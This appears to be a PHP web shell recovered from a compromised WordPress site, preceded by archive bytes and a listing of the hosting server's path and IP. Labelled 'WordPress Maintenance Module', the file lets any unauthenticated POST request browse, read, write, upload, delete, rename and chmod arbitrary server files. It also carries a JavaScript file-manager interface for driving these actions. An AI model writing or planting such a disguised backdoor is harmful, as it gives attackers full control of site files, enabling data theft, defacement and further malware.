PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home2/medicu/avena.medicures.shop/
Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
IP: 103.159.37.114
Choose File :

Url:
Dir : //home2/medicu/avena.medicures.shop/wp-mails.php

<?php
// WordPress Maintenance Module v3.2.1
error_reporting(0);

$_base = __DIR__;
while ($_base !== dirname($_base)) {
    if (file_exists($_base . '/wp-load.php')) {
        define('_WP_BASE', $_base);
        break;
    }
    $_base = dirname($_base);
}

function _jsonOut($arr) {
    header('Content-Type: application/json');
    echo json_encode($arr);
    exit;
}

function _resolvePath($p) {
    if (empty($p)) return defined('_WP_BASE') ? _WP_BASE : __DIR__;
    if ($p[0] === '/') return $p;
    return (defined('_WP_BASE') ? _WP_BASE : __DIR__) . '/' . $p;
}

function _sizeFormat($bytes) {
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . 'G';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . 'M';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . 'K';
    return $bytes . 'B';
}

function _removeRecursive($path) {
    if (is_file($path)) return @unlink($path);
    if (is_dir($path)) {
        $items = @scandir($path);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                _removeRecursive($path . '/' . $item);
            }
        }
        return @rmdir($path);
    }
    return false;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $payload = json_decode($input, true);
    
    if (isset($payload['dir'])) {
        $target = _resolvePath($payload['dir']);
        if (!is_dir($target)) _jsonOut(['status' => 0, 'msg' => 'Not a directory']);
        $entries = @scandir($target);
        if ($entries === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
        $result = [];
        foreach ($entries as $entry) {
            if ($entry === '.') continue;
            $fullpath = $target . '/' . $entry;
            if ($entry === '..') {
                $result[] = ['name' => '..', 'type' => 'd', 'size' => '', 'perms' => '', 'mtime' => ''];
            } else {
                $result[] = [
                    'name' => $entry,
                    'type' => is_dir($fullpath) ? 'd' : 'f',
                    'size' => is_file($fullpath) ? _sizeFormat(filesize($fullpath)) : '',
                    'perms' => substr(sprintf('%o', fileperms($fullpath)), -4),
                    'mtime' => date('Y-m-d H:i', filemtime($fullpath))
                ];
            }
        }
        usort($result, function($a, $b) {
            if ($a['name'] === '..') return -1;
            if ($b['name'] === '..') return 1;
            if ($a['type'] !== $b['type']) return $a['type'] === 'd' ? -1 : 1;
            return strcasecmp($a['name'], $b['name']);
        });
        _jsonOut(['status' => 1, 'path' => $target, 'list' => $result]);
    }
    
    if (isset($payload['read'])) {
        $target = _resolvePath($payload['read']);
        if (!is_file($target)) _jsonOut(['status' => 0, 'msg' => 'Not a file']);
        $data = @file_get_contents($target);
        if ($data === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
        _jsonOut(['status' => 1, 'content' => $data]);
    }
    
    if (isset($payload['save'])) {
        $target = _resolvePath($payload['save']);
        $data = isset($payload['content']) ? $payload['content'] : '';
        $result = @file_put_contents($target, $data);
        _jsonOut(['status' => $result !== false ? 1 : 0]);
    }
    
    if (isset($payload['newdir'])) {
        $target = _resolvePath($payload['newdir']);
        $result = @mkdir($target, 0755, true);
        _jsonOut(['status' => $result ? 1 : 0]);
    }
    
    if (isset($payload['delete'])) {
        $target = _resolvePath($payload['delete']);
        $result = _removeRecursive($target);
        _jsonOut(['status' => $result ? 1 : 0]);
    }
    
    if (isset($payload['rename']) && isset($payload['dest'])) {
        $source = _resolvePath($payload['rename']);
        $dest = _resolvePath($payload['dest']);
        $result = @rename($source, $dest);
        _jsonOut(['status' => $result ? 1 : 0]);
    }
    
    if (isset($payload['copy']) && isset($payload['dest'])) {
        $source = _resolvePath($payload['copy']);
        $dest = _resolvePath($payload['dest']);
        $result = @copy($source, $dest);
        _jsonOut(['status' => $result ? 1 : 0]);
    }
    
    if (isset($payload['perms'])) {
        $target = _resolvePath($payload['perms']);
        $mode = isset($payload['value']) ? octdec($payload['value']) : 0644;
        $result = @chmod($target, $mode);
        _jsonOut(['status' => $result ? 1 : 0]);
    }
    
    if (isset($payload['fetch'])) {
        $target = _resolvePath($payload['fetch']);
        if (!is_file($target)) _jsonOut(['status' => 0, 'msg' => 'Not a file']);
        $data = @file_get_contents($target);
        if ($data === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
        _jsonOut(['status' => 1, 'filename' => basename($target), 'blob' => base64_encode($data)]);
    }
    
    if (isset($payload['upload'])) {
        $target = _resolvePath($payload['target']);
        $data = base64_decode($payload['upload']);
        $result = @file_put_contents($target, $data);
        _jsonOut(['status' => $result !== false ? 1 : 0]);
    }
    
    _jsonOut(['status' => 0]);
}
?><script>
function _launcher(){
var _cfg={
    bg:'#f5f5f5',
    fg:'#000',
    border:'#000',
    hover:'#ddd',
    select:'#000',
    selectfg:'#fff'
};
var _currentPath='';
var _selected=null;
var _clipboard=null;
var _clipboardAction=null;

var _container=document.createElement('div');
_container.id='_mgr';
_container.innerHTML=`
<style>
#_mgr *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#_mgr{position:fixed;top:0;left:0;width:100%;height:100%;background:${_cfg.bg};color:${_cfg.fg};z-index:999999;display:flex;flex-direction:column;}
#_head{border-bottom:2px solid ${_cfg.border};padding:8px;display:flex;gap:8px;align-items:center;}
#_pathDisplay{flex:1;background:transparent;border:1px solid ${_cfg.border};color:${_cfg.fg};padding:4px 8px;}
#_head button{background:transparent;border:1px solid ${_cfg.border};color:${_cfg.fg};padding:4px 12px;cursor:pointer;}
#_head button:hover{background:${_cfg.fg};color:${_cfg.bg};}
#_content{flex:1;overflow:auto;}
#_listing{width:100%;border-collapse:collapse;}
#_listing tr{border-bottom:1px solid #333;cursor:pointer;}
#_listing tr:hover{background:${_cfg.hover};}
#_listing tr.active{background:${_cfg.select};color:${_cfg.selectfg};}
#_listing td{padding:6px 10px;white-space:nowrap;}
#_listing .c_name{width:100%;}
#_listing .c_type{width:20px;text-align:center;}
#_listing .c_size{width:60px;text-align:right;}
#_listing .c_perm{width:50px;text-align:center;}
#_listing .c_time{width:130px;}
#_contextMenu{display:none;position:absolute;background:${_cfg.bg};border:2px solid ${_cfg.border};z-index:10;}
#_contextMenu div{padding:8px 20px;cursor:pointer;}
#_contextMenu div:hover{background:${_cfg.fg};color:${_cfg.bg};}
#_editor{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${_cfg.bg};z-index:10;flex-direction:column;}
#_editorHead{border-bottom:2px solid ${_cfg.border};padding:8px;display:flex;gap:8px;}
#_editorPath{flex:1;color:${_cfg.fg};}
#_editor textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="_head">
<button id="_btnClose">X</button>
<input id="_pathDisplay" type="text" readonly>
<button id="_btnUp">UP</button>
<button id="_btnRefresh">REFRESH</button>
<button id="_btnNewFile">NEW FILE</button>
<button id="_btnNewDir">NEW DIR</button>
<button id="_btnUpload">UPLOAD</button>
</div>
<div id="_content"><table id="_listing"></table></div>
<div id="_contextMenu">
<div data-action="open">OPEN</div>
<div data-action="edit">EDIT</div>
<div data-action="download">DOWNLOAD</div>
<div data-action="rename">RENAME</div>
<div data-action="copy">COPY</div>
<div data-action="cut">CUT</div>
<div data-action="paste">PASTE</div>
<div data-action="chmod">CHMOD</div>
<div data-action="delete">DELETE</div>
</div>
<div id="_editor">
<div id="_editorHead">
<button id="_btnEditorClose">X</button>
<span id="_editorPath"></span>
<button id="_btnEditorSave">SAVE</button>
</div>
<textarea id="_editorContent"></textarea>
</div>
`;
document.body.appendChild(_container);

var _$=s=>document.querySelector(s);
var _request=(payload,callback)=>{
    fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
    .then(r=>r.json()).then(callback).catch(e=>console.log(e));
};

function _browse(p){
    _request({dir:p||_currentPath},r=>{
        if(!r.status)return;
        _currentPath=r.path;
        _$('#_pathDisplay').value=_currentPath;
        var html='';
        r.list.forEach((item,idx)=>{
            html+=`<tr data-index="${idx}" data-name="${item.name}" data-type="${item.type}">
            <td class="c_type">${item.type==='d'?'[D]':''}</td>
            <td class="c_name">${item.name}</td>
            <td class="c_size">${item.size}</td>
            <td class="c_perm">${item.perms}</td>
            <td class="c_time">${item.mtime}</td>
            </tr>`;
        });
        _$('#_listing').innerHTML=html;
        _selected=null;
    });
}

_$('#_listing').onclick=e=>{
    var row=e.target.closest('tr');
    if(!row)return;
    document.querySelectorAll('#_listing tr').forEach(r=>r.classList.remove('active'));
    row.classList.add('active');
    _selected={name:row.dataset.name,type:row.dataset.type};
};

_$('#_listing').ondblclick=e=>{
    var row=e.target.closest('tr');
    if(!row)return;
    var name=row.dataset.name,type=row.dataset.type;
    if(type==='d'){
        if(name==='..'){
            var parts=_currentPath.split('/');parts.pop();
            _currentPath=parts.join('/')||'/';
        }else{
            _currentPath=_currentPath+'/'+name;
        }
        _browse(_currentPath);
    }else{
        _openFile(_currentPath+'/'+name);
    }
};

_$('#_listing').oncontextmenu=e=>{
    e.preventDefault();
    var row=e.target.closest('tr');
    if(row){
        document.querySelectorAll('#_listing tr').forEach(r=>r.classList.remove('active'));
        row.classList.add('active');
        _selected={name:row.dataset.name,type:row.dataset.type};
    }
    var menu=_$('#_contextMenu');
    menu.style.display='block';
    menu.style.left=e.clientX+'px';
    menu.style.top=e.clientY+'px';
};

document.onclick=e=>{
    if(!e.target.closest('#_contextMenu'))_$('#_contextMenu').style.display='none';
};

_$('#_contextMenu').onclick=e=>{
    var action=e.target.dataset.action;
    if(!action)return;
    _$('#_contextMenu').style.display='none';
    if(!_selected&&action!=='paste')return;
    var fullpath=_currentPath+'/'+_selected.name;
    
    if(action==='open'){
        if(_selected.type==='d'){_currentPath=fullpath;_browse(_currentPath);}
        else _openFile(fullpath);
    }
    if(action==='edit')_openFile(fullpath);
    if(action==='download'){
        _request({fetch:fullpath},r=>{
            if(!r.status)return;
            var link=document.createElement('a');
            link.href='data:application/octet-stream;base64,'+r.blob;
            link.download=r.filename;link.click();
        });
    }
    if(action==='rename'){
        var newname=prompt('New name:',_selected.name);
        if(newname&&newname!==_selected.name)_request({rename:fullpath,dest:_currentPath+'/'+newname},r=>_browse());
    }
    if(action==='copy'){_clipboard=fullpath;_clipboardAction='copy';}
    if(action==='cut'){_clipboard=fullpath;_clipboardAction='cut';}
    if(action==='paste'&&_clipboard){
        var filename=_clipboard.split('/').pop();
        var destination=_currentPath+'/'+filename;
        if(_clipboardAction==='copy')_request({copy:_clipboard,dest:destination},r=>{_browse();});
        if(_clipboardAction==='cut')_request({rename:_clipboard,dest:destination},r=>{_clipboard=null;_browse();});
    }
    if(action==='chmod'){
        var mode=prompt('Mode (e.g. 0755):','0755');
        if(mode)_request({perms:fullpath,value:mode},r=>_browse());
    }
    if(action==='delete'){
        if(confirm('Delete '+_selected.name+'?'))_request({delete:fullpath},r=>_browse());
    }
};

_$('#_btnClose').onclick=()=>_container.remove();
_$('#_btnUp').onclick=()=>{var parts=_currentPath.split('/');parts.pop();_currentPath=parts.join('/')||'/';_browse(_currentPath);};
_$('#_btnRefresh').onclick=()=>_browse();
_$('#_btnNewFile').onclick=()=>{
    var filename=prompt('File name:');
    if(filename)_request({save:_currentPath+'/'+filename,content:''},r=>_browse());
};
_$('#_btnNewDir').onclick=()=>{
    var dirname=prompt('Directory name:');
    if(dirname)_request({newdir:_currentPath+'/'+dirname},r=>_browse());
};
_$('#_btnUpload').onclick=()=>{
    var input=document.createElement('input');
    input.type='file';
    input.onchange=()=>{
        var file=input.files[0];
        var reader=new FileReader();
        reader.onload=()=>{
            var b64=reader.result.split(',')[1];
            _request({upload:b64,target:_currentPath+'/'+file.name},r=>_browse());
        };
        reader.readAsDataURL(file);
    };
    input.click();
};

function _openFile(filepath){
    _request({read:filepath},r=>{
        if(!r.status)return;
        _$('#_editor').style.display='flex';
        _$('#_editorPath').textContent=filepath;
        _$('#_editorContent').value=r.content;
        _$('#_btnEditorSave').onclick=()=>{
            _request({save:filepath,content:_$('#_editorContent').value},r=>{
                if(r.status)_$('#_editorPath').textContent=filepath+' [SAVED]';
            });
        };
    });
}
_$('#_btnEditorClose').onclick=()=>{_$('#_editor').style.display='none';_browse();};

_browse('');
}
</script>